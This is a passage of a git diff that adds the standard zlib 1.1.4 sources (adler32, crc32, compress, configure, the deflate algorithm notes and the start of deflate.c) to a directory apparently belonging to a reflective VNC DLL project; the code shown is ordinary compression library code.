+ +#define BASE 65521L /* largest prime smaller than 65536 */ +#define NMAX 5552 +/* NMAX is the largest n such that 255n(n+1)/2 + (n+1)(BASE-1) <= 2^32-1 */ + +#define DO1(buf,i) {s1 += buf[i]; s2 += s1;} +#define DO2(buf,i) DO1(buf,i); DO1(buf,i+1); +#define DO4(buf,i) DO2(buf,i); DO2(buf,i+2); +#define DO8(buf,i) DO4(buf,i); DO4(buf,i+4); +#define DO16(buf) DO8(buf,0); DO8(buf,8); + +/* ========================================================================= */ +uLong ZEXPORT adler32(adler, buf, len) + uLong adler; + const Bytef *buf; + uInt len; +{ + unsigned long s1 = adler & 0xffff; + unsigned long s2 = (adler >> 16) & 0xffff; + int k; + + if (buf == Z_NULL) return 1L; + + while (len > 0) { + k = len < NMAX ? len : NMAX; + len -= k; + while (k >= 16) { + DO16(buf); + buf += 16; + k -= 16; + } + if (k != 0) do { + s1 += *buf++; + s2 += s1; + } while (--k); + s1 %= BASE; + s2 %= BASE; + } + return (s2 << 16) | s1; +} diff --git a/external/source/reflective_vncdll/zlib/algorithm.txt b/external/source/reflective_vncdll/zlib/algorithm.txt new file mode 100644 index 0000000000..f488cd1a92 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/algorithm.txt @@ -0,0 +1,213 @@ +1. Compression algorithm (deflate) + +The deflation algorithm used by gzip (also zip and zlib) is a variation of +LZ77 (Lempel-Ziv 1977, see reference below). It finds duplicated strings in +the input data. The second occurrence of a string is replaced by a +pointer to the previous string, in the form of a pair (distance, +length). Distances are limited to 32K bytes, and lengths are limited +to 258 bytes. When a string does not occur anywhere in the previous +32K bytes, it is emitted as a sequence of literal bytes. (In this +description, `string' must be taken as an arbitrary sequence of bytes, +and is not restricted to printable characters.) + +Literals or match lengths are compressed with one Huffman tree, and +match distances are compressed with another tree. The trees are stored +in a compact form at the start of each block. The blocks can have any +size (except that the compressed data for one block must fit in +available memory). A block is terminated when deflate() determines that +it would be useful to start another block with fresh trees. (This is +somewhat similar to the behavior of LZW-based _compress_.) + +Duplicated strings are found using a hash table. All input strings of +length 3 are inserted in the hash table. A hash index is computed for +the next 3 bytes. If the hash chain for this index is not empty, all +strings in the chain are compared with the current input string, and +the longest match is selected. + +The hash chains are searched starting with the most recent strings, to +favor small distances and thus take advantage of the Huffman encoding. +The hash chains are singly linked. There are no deletions from the +hash chains, the algorithm simply discards matches that are too old. + +To avoid a worst-case situation, very long hash chains are arbitrarily +truncated at a certain length, determined by a runtime option (level +parameter of deflateInit). So deflate() does not always find the longest +possible match but generally finds a match which is long enough. + +deflate() also defers the selection of matches with a lazy evaluation +mechanism. After a match of length N has been found, deflate() searches for +a longer match at the next input byte. If a longer match is found, the +previous match is truncated to a length of one (thus producing a single +literal byte) and the process of lazy evaluation begins again. Otherwise, +the original match is kept, and the next match search is attempted only N +steps later. + +The lazy match evaluation is also subject to a runtime parameter. If +the current match is long enough, deflate() reduces the search for a longer +match, thus speeding up the whole process. If compression ratio is more +important than speed, deflate() attempts a complete second search even if +the first match is already long enough. + +The lazy match evaluation is not performed for the fastest compression +modes (level parameter 1 to 3). For these fast modes, new strings +are inserted in the hash table only when no match was found, or +when the match is not too long. This degrades the compression ratio +but saves time since there are both fewer insertions and fewer searches. + + +2. Decompression algorithm (inflate) + +2.1 Introduction + +The real question is, given a Huffman tree, how to decode fast. The most +important realization is that shorter codes are much more common than +longer codes, so pay attention to decoding the short codes fast, and let +the long codes take longer to decode. + +inflate() sets up a first level table that covers some number of bits of +input less than the length of longest code. It gets that many bits from the +stream, and looks it up in the table. The table will tell if the next +code is that many bits or less and how many, and if it is, it will tell +the value, else it will point to the next level table for which inflate() +grabs more bits and tries to decode a longer code. + +How many bits to make the first lookup is a tradeoff between the time it +takes to decode and the time it takes to build the table. If building the +table took no time (and if you had infinite memory), then there would only +be a first level table to cover all the way to the longest code. However, +building the table ends up taking a lot longer for more bits since short +codes are replicated many times in such a table. What inflate() does is +simply to make the number of bits in the first table a variable, and set it +for the maximum speed. + +inflate() sends new trees relatively often, so it is possibly set for a +smaller first level table than an application that has only one tree for +all the data. For inflate, which has 286 possible codes for the +literal/length tree, the size of the first table is nine bits. Also the +distance trees have 30 possible values, and the size of the first table is +six bits. Note that for each of those cases, the table ended up one bit +longer than the ``average'' code length, i.e. the code length of an +approximately flat code which would be a little more than eight bits for +286 symbols and a little less than five bits for 30 symbols. It would be +interesting to see if optimizing the first level table for other +applications gave values within a bit or two of the flat code size. + + +2.2 More details on the inflate table lookup + +Ok, you want to know what this cleverly obfuscated inflate tree actually +looks like. You are correct that it's not a Huffman tree. It is simply a +lookup table for the first, let's say, nine bits of a Huffman symbol. The +symbol could be as short as one bit or as long as 15 bits. If a particular +symbol is shorter than nine bits, then that symbol's translation is duplicated +in all those entries that start with that symbol's bits. For example, if the +symbol is four bits, then it's duplicated 32 times in a nine-bit table. If a +symbol is nine bits long, it appears in the table once. + +If the symbol is longer than nine bits, then that entry in the table points +to another similar table for the remaining bits. Again, there are duplicated +entries as needed. The idea is that most of the time the symbol will be short +and there will only be one table look up. (That's whole idea behind data +compression in the first place.) For the less frequent long symbols, there +will be two lookups. If you had a compression method with really long +symbols, you could have as many levels of lookups as is efficient. For +inflate, two is enough. + +So a table entry either points to another table (in which case nine bits in +the above example are gobbled), or it contains the translation for the symbol +and the number of bits to gobble. Then you start again with the next +ungobbled bit. + +You may wonder: why not just have one lookup table for how ever many bits the +longest symbol is? The reason is that if you do that, you end up spending +more time filling in duplicate symbol entries than you do actually decoding. +At least for deflate's output that generates new trees every several 10's of +kbytes. You can imagine that filling in a 2^15 entry table for a 15-bit code +would take too long if you're only decoding several thousand symbols. At the +other extreme, you could make a new table for every bit in the code. In fact, +that's essentially a Huffman tree. But then you spend two much time +traversing the tree while decoding, even for short symbols. + +So the number of bits for the first lookup table is a trade of the time to +fill out the table vs. the time spent looking at the second level and above of +the table. + +Here is an example, scaled down: + +The code being decoded, with 10 symbols, from 1 to 6 bits long: + +A: 0 +B: 10 +C: 1100 +D: 11010 +E: 11011 +F: 11100 +G: 11101 +H: 11110 +I: 111110 +J: 111111 + +Let's make the first table three bits long (eight entries): + +000: A,1 +001: A,1 +010: A,1 +011: A,1 +100: B,2 +101: B,2 +110: -> table X (gobble 3 bits) +111: -> table Y (gobble 3 bits) + +Each entry is what the bits decode to and how many bits that is, i.e. how +many bits to gobble. Or the entry points to another table, with the number of +bits to gobble implicit in the size of the table. + +Table X is two bits long since the longest code starting with 110 is five bits +long: + +00: C,1 +01: C,1 +10: D,2 +11: E,2 + +Table Y is three bits long since the longest code starting with 111 is six +bits long: + +000: F,2 +001: F,2 +010: G,2 +011: G,2 +100: H,2 +101: H,2 +110: I,3 +111: J,3 + +So what we have here are three tables with a total of 20 entries that had to +be constructed. That's compared to 64 entries for a single table. Or +compared to 16 entries for a Huffman tree (six two entry tables and one four +entry table). Assuming that the code ideally represents the probability of +the symbols, it takes on the average 1.25 lookups per symbol. That's compared +to one lookup for the single table, or 1.66 lookups per symbol for the +Huffman tree. + +There, I think that gives you a picture of what's going on. For inflate, the +meaning of a particular symbol is often more than just a letter. It can be a +byte (a "literal"), or it can be either a length or a distance which +indicates a base value and a number of bits to fetch after the code that is +added to the base value. Or it might be the special end-of-block code. The +data structures created in inftrees.c try to encode all that information +compactly in the tables. + + +Jean-loup Gailly Mark Adler +jloup@gzip.org madler@alumni.caltech.edu + + +References: + +[LZ77] Ziv J., Lempel A., ``A Universal Algorithm for Sequential Data +Compression,'' IEEE Transactions on Information Theory, Vol. 23, No. 3, +pp. 337-343. + +``DEFLATE Compressed Data Format Specification'' available in +ftp://ds.internic.net/rfc/rfc1951.txt diff --git a/external/source/reflective_vncdll/zlib/compress.c b/external/source/reflective_vncdll/zlib/compress.c new file mode 100644 index 0000000000..263068208c --- /dev/null +++ b/external/source/reflective_vncdll/zlib/compress.c @@ -0,0 +1,68 @@ +/* compress.c -- compress a memory buffer + * Copyright (C) 1995-2002 Jean-loup Gailly. + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* @(#) $Id: compress.c 3351 2006-01-08 23:25:19Z mmiller $ */ + +#include "zlib.h" + +/* =========================================================================== + Compresses the source buffer into the destination buffer. The level + parameter has the same meaning as in deflateInit. sourceLen is the byte + length of the source buffer. Upon entry, destLen is the total size of the + destination buffer, which must be at least 0.1% larger than sourceLen plus + 12 bytes. Upon exit, destLen is the actual size of the compressed buffer. + + compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough + memory, Z_BUF_ERROR if there was not enough room in the output buffer, + Z_STREAM_ERROR if the level parameter is invalid. +*/ +int ZEXPORT compress2 (dest, destLen, source, sourceLen, level) + Bytef *dest; + uLongf *destLen; + const Bytef *source; + uLong sourceLen; + int level; +{ + z_stream stream; + int err; + + stream.next_in = (Bytef*)source; + stream.avail_in = (uInt)sourceLen; +#ifdef MAXSEG_64K + /* Check for source > 64K on 16-bit machine: */ + if ((uLong)stream.avail_in != sourceLen) return Z_BUF_ERROR; +#endif + stream.next_out = dest; + stream.avail_out = (uInt)*destLen; + if ((uLong)stream.avail_out != *destLen) return Z_BUF_ERROR; + + stream.zalloc = (alloc_func)0; + stream.zfree = (free_func)0; + stream.opaque = (voidpf)0; + + err = deflateInit(&stream, level); + if (err != Z_OK) return err; + + err = deflate(&stream, Z_FINISH); + if (err != Z_STREAM_END) { + deflateEnd(&stream); + return err == Z_OK ? Z_BUF_ERROR : err; + } + *destLen = stream.total_out; + + err = deflateEnd(&stream); + return err; +} + +/* =========================================================================== + */ +int ZEXPORT compress (dest, destLen, source, sourceLen) + Bytef *dest; + uLongf *destLen; + const Bytef *source; + uLong sourceLen; +{ + return compress2(dest, destLen, source, sourceLen, Z_DEFAULT_COMPRESSION); +} diff --git a/external/source/reflective_vncdll/zlib/configure b/external/source/reflective_vncdll/zlib/configure new file mode 100644 index 0000000000..5cd618e70d --- /dev/null +++ b/external/source/reflective_vncdll/zlib/configure @@ -0,0 +1,212 @@ +#!/bin/sh +# configure script for zlib. This script is needed only if +# you wish to build a shared library and your system supports them, +# of if you need special compiler, flags or install directory. +# Otherwise, you can just use directly "make test; make install" +# +# To create a shared library, use "configure --shared"; by default a static +# library is created. If the primitive shared library support provided here +# does not work, use ftp://prep.ai.mit.edu/pub/gnu/libtool-*.tar.gz +# +# To impose specific compiler or flags or install directory, use for example: +# prefix=$HOME CC=cc CFLAGS="-O4" ./configure +# or for csh/tcsh users: +# (setenv prefix $HOME; setenv CC cc; setenv CFLAGS "-O4"; ./configure) +# LDSHARED is the command to be used to create a shared library + +# Incorrect settings of CC or CFLAGS may prevent creating a shared library. +# If you have problems, try without defining CC and CFLAGS before reporting +# an error. + +LIBS=libz.a +SHAREDLIB=libz.so +VER=`sed -n -e '/VERSION "/s/.*"\(.*\)".*/\1/p' < zlib.h` +AR=${AR-"ar rc"} +RANLIB=${RANLIB-"ranlib"} +prefix=${prefix-/usr/local} +exec_prefix=${exec_prefix-'${prefix}'} +libdir=${libdir-'${exec_prefix}/lib'} +includedir=${includedir-'${prefix}/include'} +shared_ext='.so' +shared=0 +gcc=0 +old_cc="$CC" +old_cflags="$CFLAGS" + +while test $# -ge 1 +do +case "$1" in + -h* | --h*) + echo 'usage:' + echo ' configure [--shared] [--prefix=PREFIX] [--exec_prefix=EXPREFIX]' + echo ' [--libdir=LIBDIR] [--includedir=INCLUDEDIR]' + exit 0;; + -p*=* | --p*=*) prefix=`echo $1 | sed 's/[-a-z_]*=//'`; shift;; + -e*=* | --e*=*) exec_prefix=`echo $1 | sed 's/[-a-z_]*=//'`; shift;; + -l*=* | --libdir=*) libdir=`echo $1 | sed 's/[-a-z_]*=//'`; shift;; + -i*=* | --includedir=*) includedir=`echo $1 | sed 's/[-a-z_]*=//'`;shift;; + -p* | --p*) prefix="$2"; shift; shift;; + -e* | --e*) exec_prefix="$2"; shift; shift;; + -l* | --l*) libdir="$2"; shift; shift;; + -i* | --i*) includedir="$2"; shift; shift;; + -s* | --s*) shared=1; shift;; + esac +done + +test=ztest$$ +cat > $test.c </dev/null; then + CC="$cc" + SFLAGS=${CFLAGS-"-fPIC -O3"} + CFLAGS="$cflags" + case `(uname -s || echo unknown) 2>/dev/null` in + Linux | linux) LDSHARED=${LDSHARED-"gcc -shared -Wl,-soname,libz.so.1"};; + *) LDSHARED=${LDSHARED-"gcc -shared"};; + esac +else + # find system name and corresponding cc options + CC=${CC-cc} + case `(uname -sr || echo unknown) 2>/dev/null` in + HP-UX*) SFLAGS=${CFLAGS-"-O +z"} + CFLAGS=${CFLAGS-"-O"} +# LDSHARED=${LDSHARED-"ld -b +vnocompatwarnings"} + LDSHARED=${LDSHARED-"ld -b"} + shared_ext='.sl' + SHAREDLIB='libz.sl';; + IRIX*) SFLAGS=${CFLAGS-"-ansi -O2 -rpath ."} + CFLAGS=${CFLAGS-"-ansi -O2"} + LDSHARED=${LDSHARED-"cc -shared"};; + OSF1\ V4*) SFLAGS=${CFLAGS-"-O -std1"} + CFLAGS=${CFLAGS-"-O -std1"} + LDSHARED=${LDSHARED-"cc -shared -Wl,-soname,$SHAREDLIB -Wl,-msym -Wl,-rpath,$(libdir) -Wl,-set_version,${VER}:1.0"};; + OSF1*) SFLAGS=${CFLAGS-"-O -std1"} + CFLAGS=${CFLAGS-"-O -std1"} + LDSHARED=${LDSHARED-"cc -shared"};; + QNX*) SFLAGS=${CFLAGS-"-4 -O"} + CFLAGS=${CFLAGS-"-4 -O"} + LDSHARED=${LDSHARED-"cc"} + RANLIB=${RANLIB-"true"} + AR="cc -A";; + SCO_SV\ 3.2*) SFLAGS=${CFLAGS-"-O3 -dy -KPIC "} + CFLAGS=${CFLAGS-"-O3"} + LDSHARED=${LDSHARED-"cc -dy -KPIC -G"};; + SunOS\ 5*) SFLAGS=${CFLAGS-"-fast -xcg89 -KPIC -R."} + CFLAGS=${CFLAGS-"-fast -xcg89"} + LDSHARED=${LDSHARED-"cc -G"};; + SunOS\ 4*) SFLAGS=${CFLAGS-"-O2 -PIC"} + CFLAGS=${CFLAGS-"-O2"} + LDSHARED=${LDSHARED-"ld"};; + UNIX_System_V\ 4.2.0) + SFLAGS=${CFLAGS-"-KPIC -O"} + CFLAGS=${CFLAGS-"-O"} + LDSHARED=${LDSHARED-"cc -G"};; + UNIX_SV\ 4.2MP) + SFLAGS=${CFLAGS-"-Kconform_pic -O"} + CFLAGS=${CFLAGS-"-O"} + LDSHARED=${LDSHARED-"cc -G"};; + # send working options for other systems to support@gzip.org + *) SFLAGS=${CFLAGS-"-O"} + CFLAGS=${CFLAGS-"-O"} + LDSHARED=${LDSHARED-"cc -shared"};; + esac +fi + +if test $shared -eq 1; then + echo Checking for shared library support... + # we must test in two steps (cc then ld), required at least on SunOS 4.x + if test "`($CC -c $SFLAGS $test.c) 2>&1`" = "" && + test "`($LDSHARED -o $test$shared_ext $test.o) 2>&1`" = ""; then + CFLAGS="$SFLAGS" + LIBS="$SHAREDLIB.$VER" + echo Building shared library $SHAREDLIB.$VER with $CC. + elif test -z "$old_cc" -a -z "$old_cflags"; then + echo No shared library suppport. + shared=0; + else + echo 'No shared library suppport; try without defining CC and CFLAGS' + shared=0; + fi +fi +if test $shared -eq 0; then + LDSHARED="$CC" + echo Building static library $LIBS version $VER with $CC. +fi + +cat > $test.c < +int main() { return 0; } +EOF +if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then + CFLAGS="$CFLAGS -DHAVE_UNISTD_H" + echo "Checking for unistd.h... Yes." +else + echo "Checking for unistd.h... No." +fi + +cat > $test.c < +int main() { return 0; } +EOF +if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then + echo "Checking for errno.h... Yes." +else + echo "Checking for errno.h... No." + CFLAGS="$CFLAGS -DNO_ERRNO_H" +fi + +cat > $test.c < +#include +#include +caddr_t hello() { + return mmap((caddr_t)0, (off_t)0, PROT_READ, MAP_SHARED, 0, (off_t)0); +} +EOF +if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then + CFLAGS="$CFLAGS -DUSE_MMAP" + echo Checking for mmap support... Yes. +else + echo Checking for mmap support... No. +fi + +CPP=${CPP-"$CC -E"} +case $CFLAGS in + *ASMV*) + if test "`nm $test.o | grep _hello`" = ""; then + CPP="$CPP -DNO_UNDERLINE" + echo Checking for underline in external names... No. + else + echo Checking for underline in external names... Yes. + fi;; +esac + +rm -f $test.[co] $test$shared_ext + +# udpate Makefile +sed < Makefile.in " +/^CC *=/s%=.*%=$CC% +/^CFLAGS *=/s%=.*%=$CFLAGS% +/^CPP *=/s%=.*%=$CPP% +/^LDSHARED *=/s%=.*%=$LDSHARED% +/^LIBS *=/s%=.*%=$LIBS% +/^SHAREDLIB *=/s%=.*%=$SHAREDLIB% +/^AR *=/s%=.*%=$AR% +/^RANLIB *=/s%=.*%=$RANLIB% +/^VER *=/s%=.*%=$VER% +/^prefix *=/s%=.*%=$prefix% +/^exec_prefix *=/s%=.*%=$exec_prefix% +/^libdir *=/s%=.*%=$libdir% +/^includedir *=/s%=.*%=$includedir% +" > Makefile diff --git a/external/source/reflective_vncdll/zlib/crc32.c b/external/source/reflective_vncdll/zlib/crc32.c new file mode 100644 index 0000000000..e9c07dc4ef --- /dev/null +++ b/external/source/reflective_vncdll/zlib/crc32.c @@ -0,0 +1,162 @@ +/* crc32.c -- compute the CRC-32 of a data stream + * Copyright (C) 1995-2002 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* @(#) $Id: crc32.c 3351 2006-01-08 23:25:19Z mmiller $ */ + +#include "zlib.h" + +#define local static + +#ifdef DYNAMIC_CRC_TABLE + +local int crc_table_empty = 1; +local uLongf crc_table[256]; +local void make_crc_table OF((void)); + +/* + Generate a table for a byte-wise 32-bit CRC calculation on the polynomial: + x^32+x^26+x^23+x^22+x^16+x^12+x^11+x^10+x^8+x^7+x^5+x^4+x^2+x+1. + + Polynomials over GF(2) are represented in binary, one bit per coefficient, + with the lowest powers in the most significant bit. Then adding polynomials + is just exclusive-or, and multiplying a polynomial by x is a right shift by + one. If we call the above polynomial p, and represent a byte as the + polynomial q, also with the lowest power in the most significant bit (so the + byte 0xb1 is the polynomial x^7+x^3+x+1), then the CRC is (q*x^32) mod p, + where a mod b means the remainder after dividing a by b. + + This calculation is done using the shift-register method of multiplying and + taking the remainder. The register is initialized to zero, and for each + incoming bit, x^32 is added mod p to the register if the bit is a one (where + x^32 mod p is p+x^32 = x^26+...+1), and the register is multiplied mod p by + x (which is shifting right by one and adding x^32 mod p if the bit shifted + out is a one). We start with the highest power (least significant bit) of + q and repeat for all eight bits of q. + + The table is simply the CRC of all possible eight bit values. This is all + the information needed to generate CRC's on data a byte at a time for all + combinations of CRC register values and incoming bytes. +*/ +local void make_crc_table() +{ + uLong c; + int n, k; + uLong poly; /* polynomial exclusive-or pattern */ + /* terms of polynomial defining this crc (except x^32): */ + static const Byte p[] = {0,1,2,4,5,7,8,10,11,12,16,22,23,26}; + + /* make exclusive-or pattern from polynomial (0xedb88320L) */ + poly = 0L; + for (n = 0; n < sizeof(p)/sizeof(Byte); n++) + poly |= 1L << (31 - p[n]); + + for (n = 0; n < 256; n++) + { + c = (uLong)n; + for (k = 0; k < 8; k++) + c = c & 1 ? poly ^ (c >> 1) : c >> 1; + crc_table[n] = c; + } + crc_table_empty = 0; +} +#else +/* ======================================================================== + * Table of CRC-32's of all single-byte values (made by make_crc_table) + */ +local const uLongf crc_table[256] = { + 0x00000000L, 0x77073096L, 0xee0e612cL, 0x990951baL, 0x076dc419L, + 0x706af48fL, 0xe963a535L, 0x9e6495a3L, 0x0edb8832L, 0x79dcb8a4L, + 0xe0d5e91eL, 0x97d2d988L, 0x09b64c2bL, 0x7eb17cbdL, 0xe7b82d07L, + 0x90bf1d91L, 0x1db71064L, 0x6ab020f2L, 0xf3b97148L, 0x84be41deL, + 0x1adad47dL, 0x6ddde4ebL, 0xf4d4b551L, 0x83d385c7L, 0x136c9856L, + 0x646ba8c0L, 0xfd62f97aL, 0x8a65c9ecL, 0x14015c4fL, 0x63066cd9L, + 0xfa0f3d63L, 0x8d080df5L, 0x3b6e20c8L, 0x4c69105eL, 0xd56041e4L, + 0xa2677172L, 0x3c03e4d1L, 0x4b04d447L, 0xd20d85fdL, 0xa50ab56bL, + 0x35b5a8faL, 0x42b2986cL, 0xdbbbc9d6L, 0xacbcf940L, 0x32d86ce3L, + 0x45df5c75L, 0xdcd60dcfL, 0xabd13d59L, 0x26d930acL, 0x51de003aL, + 0xc8d75180L, 0xbfd06116L, 0x21b4f4b5L, 0x56b3c423L, 0xcfba9599L, + 0xb8bda50fL, 0x2802b89eL, 0x5f058808L, 0xc60cd9b2L, 0xb10be924L, + 0x2f6f7c87L, 0x58684c11L, 0xc1611dabL, 0xb6662d3dL, 0x76dc4190L, + 0x01db7106L, 0x98d220bcL, 0xefd5102aL, 0x71b18589L, 0x06b6b51fL, + 0x9fbfe4a5L, 0xe8b8d433L, 0x7807c9a2L, 0x0f00f934L, 0x9609a88eL, + 0xe10e9818L, 0x7f6a0dbbL, 0x086d3d2dL, 0x91646c97L, 0xe6635c01L, + 0x6b6b51f4L, 0x1c6c6162L, 0x856530d8L, 0xf262004eL, 0x6c0695edL, + 0x1b01a57bL, 0x8208f4c1L, 0xf50fc457L, 0x65b0d9c6L, 0x12b7e950L, + 0x8bbeb8eaL, 0xfcb9887cL, 0x62dd1ddfL, 0x15da2d49L, 0x8cd37cf3L, + 0xfbd44c65L, 0x4db26158L, 0x3ab551ceL, 0xa3bc0074L, 0xd4bb30e2L, + 0x4adfa541L, 0x3dd895d7L, 0xa4d1c46dL, 0xd3d6f4fbL, 0x4369e96aL, + 0x346ed9fcL, 0xad678846L, 0xda60b8d0L, 0x44042d73L, 0x33031de5L, + 0xaa0a4c5fL, 0xdd0d7cc9L, 0x5005713cL, 0x270241aaL, 0xbe0b1010L, + 0xc90c2086L, 0x5768b525L, 0x206f85b3L, 0xb966d409L, 0xce61e49fL, + 0x5edef90eL, 0x29d9c998L, 0xb0d09822L, 0xc7d7a8b4L, 0x59b33d17L, + 0x2eb40d81L, 0xb7bd5c3bL, 0xc0ba6cadL, 0xedb88320L, 0x9abfb3b6L, + 0x03b6e20cL, 0x74b1d29aL, 0xead54739L, 0x9dd277afL, 0x04db2615L, + 0x73dc1683L, 0xe3630b12L, 0x94643b84L, 0x0d6d6a3eL, 0x7a6a5aa8L, + 0xe40ecf0bL, 0x9309ff9dL, 0x0a00ae27L, 0x7d079eb1L, 0xf00f9344L, + 0x8708a3d2L, 0x1e01f268L, 0x6906c2feL, 0xf762575dL, 0x806567cbL, + 0x196c3671L, 0x6e6b06e7L, 0xfed41b76L, 0x89d32be0L, 0x10da7a5aL, + 0x67dd4accL, 0xf9b9df6fL, 0x8ebeeff9L, 0x17b7be43L, 0x60b08ed5L, + 0xd6d6a3e8L, 0xa1d1937eL, 0x38d8c2c4L, 0x4fdff252L, 0xd1bb67f1L, + 0xa6bc5767L, 0x3fb506ddL, 0x48b2364bL, 0xd80d2bdaL, 0xaf0a1b4cL, + 0x36034af6L, 0x41047a60L, 0xdf60efc3L, 0xa867df55L, 0x316e8eefL, + 0x4669be79L, 0xcb61b38cL, 0xbc66831aL, 0x256fd2a0L, 0x5268e236L, + 0xcc0c7795L, 0xbb0b4703L, 0x220216b9L, 0x5505262fL, 0xc5ba3bbeL, + 0xb2bd0b28L, 0x2bb45a92L, 0x5cb36a04L, 0xc2d7ffa7L, 0xb5d0cf31L, + 0x2cd99e8bL, 0x5bdeae1dL, 0x9b64c2b0L, 0xec63f226L, 0x756aa39cL, + 0x026d930aL, 0x9c0906a9L, 0xeb0e363fL, 0x72076785L, 0x05005713L, + 0x95bf4a82L, 0xe2b87a14L, 0x7bb12baeL, 0x0cb61b38L, 0x92d28e9bL, + 0xe5d5be0dL, 0x7cdcefb7L, 0x0bdbdf21L, 0x86d3d2d4L, 0xf1d4e242L, + 0x68ddb3f8L, 0x1fda836eL, 0x81be16cdL, 0xf6b9265bL, 0x6fb077e1L, + 0x18b74777L, 0x88085ae6L, 0xff0f6a70L, 0x66063bcaL, 0x11010b5cL, + 0x8f659effL, 0xf862ae69L, 0x616bffd3L, 0x166ccf45L, 0xa00ae278L, + 0xd70dd2eeL, 0x4e048354L, 0x3903b3c2L, 0xa7672661L, 0xd06016f7L, + 0x4969474dL, 0x3e6e77dbL, 0xaed16a4aL, 0xd9d65adcL, 0x40df0b66L, + 0x37d83bf0L, 0xa9bcae53L, 0xdebb9ec5L, 0x47b2cf7fL, 0x30b5ffe9L, + 0xbdbdf21cL, 0xcabac28aL, 0x53b39330L, 0x24b4a3a6L, 0xbad03605L, + 0xcdd70693L, 0x54de5729L, 0x23d967bfL, 0xb3667a2eL, 0xc4614ab8L, + 0x5d681b02L, 0x2a6f2b94L, 0xb40bbe37L, 0xc30c8ea1L, 0x5a05df1bL, + 0x2d02ef8dL +}; +#endif + +/* ========================================================================= + * This function can be used by asm versions of crc32() + */ +const uLongf * ZEXPORT get_crc_table() +{ +#ifdef DYNAMIC_CRC_TABLE + if (crc_table_empty) make_crc_table(); +#endif + return (const uLongf *)crc_table; +} + +/* ========================================================================= */ +#define DO1(buf) crc = crc_table[((int)crc ^ (*buf++)) & 0xff] ^ (crc >> 8); +#define DO2(buf) DO1(buf); DO1(buf); +#define DO4(buf) DO2(buf); DO2(buf); +#define DO8(buf) DO4(buf); DO4(buf); + +/* ========================================================================= */ +uLong ZEXPORT crc32(crc, buf, len) + uLong crc; + const Bytef *buf; + uInt len; +{ + if (buf == Z_NULL) return 0L; +#ifdef DYNAMIC_CRC_TABLE + if (crc_table_empty) + make_crc_table(); +#endif + crc = crc ^ 0xffffffffL; + while (len >= 8) + { + DO8(buf); + len -= 8; + } + if (len) do { + DO1(buf); + } while (--len); + return crc ^ 0xffffffffL; +} diff --git a/external/source/reflective_vncdll/zlib/deflate.c b/external/source/reflective_vncdll/zlib/deflate.c new file mode 100644 index 0000000000..512da98b9b --- /dev/null +++ b/external/source/reflective_vncdll/zlib/deflate.c @@ -0,0 +1,1350 @@ +/* deflate.c -- compress data using the deflation algorithm + * Copyright (C) 1995-2002 Jean-loup Gailly. + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* + * ALGORITHM + * + * The "deflation" process depends on being able to identify portions + * of the input text which are identical to earlier input (within a + * sliding window trailing behind the input currently being processed). + * + * The most straightforward technique turns out to be the fastest for + * most input files: try all possible matches and select the longest. + * The key feature of this algorithm is that insertions into the string + * dictionary are very simple and thus fast, and deletions are avoided + * completely. Insertions are performed at each input character, whereas + * string matches are performed only when the previous match ends. So it + * is preferable to spend more time in matches to allow very fast string + * insertions and avoid deletions. The matching algorithm for small + * strings is inspired from that of Rabin & Karp. A brute force approach + * is used to find longer strings when a small match has been found. + * A similar algorithm is used in comic (by Jan-Mark Wams) and freeze + * (by Leonid Broukhis). + * A previous version of this file used a more sophisticated algorithm + * (by Fiala and Greene) which is guaranteed to run in linear amortized + * time, but has a larger average cost, uses more memory and is patented. + * However the F&G algorithm may be faster for some highly redundant + * files if the parameter max_chain_length (described below) is too large. + * + * ACKNOWLEDGEMENTS + * + * The idea of lazy evaluation of matches is due to Jan-Mark Wams, and + * I found it in 'freeze' written by Leonid Broukhis. + * Thanks to many people for bug reports and testing. + * + * REFERENCES + * + * Deutsch, L.P.,"DEFLATE Compressed Data Format Specification". + * Available in ftp://ds.internic.net/rfc/rfc1951.txt + * + * A description of the Rabin and Karp algorithm is given in the book + * "Algorithms" by R. Sedgewick, Addison-Wesley, p252. + * + * Fiala,E.R., and Greene,D.H. + * Data Compression with Finite Windows, Comm.ACM, 32,4 (1989) 490-595 + * + */ + +/* @(#) $Id: deflate.c 3351 2006-01-08 23:25:19Z mmiller $ */ + +#include "deflate.h" + +const char deflate_copyright[] = + " deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly "; +/* + If you use the zlib library in a product, an acknowledgment is welcome + in the documentation of your product. If for some reason you cannot + include such an acknowledgment, I would appreciate that you keep this + copyright string in the executable of your product. + */ + +/* =========================================================================== + * Function prototypes. + */ +typedef enum { + need_more, /* block not completed, need more input or more output */ + block_done, /* block flush performed */ + finish_started, /* finish started, need only more output at next deflate */ + finish_done /* finish done, accept no more input or output */ +} block_state; + +typedef block_state (*compress_func) OF((deflate_state *s, int flush)); +/* Compression function. Returns the block state after the call. */ + +local void fill_window OF((deflate_state *s)); +local block_state deflate_stored OF((deflate_state *s, int flush)); +local block_state deflate_fast OF((deflate_state *s, int flush)); +local block_state deflate_slow OF((deflate_state *s, int flush)); +local void lm_init OF((deflate_state *s)); +local void putShortMSB OF((deflate_state *s, uInt b)); +local void flush_pending OF((z_streamp strm)); +local int read_buf OF((z_streamp strm, Bytef *buf, unsigned size)); +#ifdef ASMV + void match_init OF((void)); /* asm code initialization */ + uInt longest_match OF((deflate_state *s, IPos cur_match)); +#else +local uInt longest_match OF((deflate_state *s, IPos cur_match)); +#endif + +#ifdef DEBUG +local void check_match OF((deflate_state *s, IPos start, IPos match, + int length)); +#endif + +/* =========================================================================== + * Local data + */ + +#define NIL 0 +/* Tail of hash chains */ + +#ifndef TOO_FAR +# define TOO_FAR 4096 +#endif +/* Matches of length 3 are discarded if their distance exceeds TOO_FAR */ + +#define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1) +/* Minimum amount of lookahead, except at the end of the input file. + * See deflate.c for comments about the MIN_MATCH+1. + */ + +/* Values for max_lazy_match, good_match and max_chain_length, depending on + * the desired pack level (0..9). The values given below have been tuned to + * exclude worst case performance for pathological files. Better values may be + * found for specific files. + */ +typedef struct config_s { + ush good_length; /* reduce lazy search above this match length */ + ush max_lazy; /* do not perform lazy search above this match length */ + 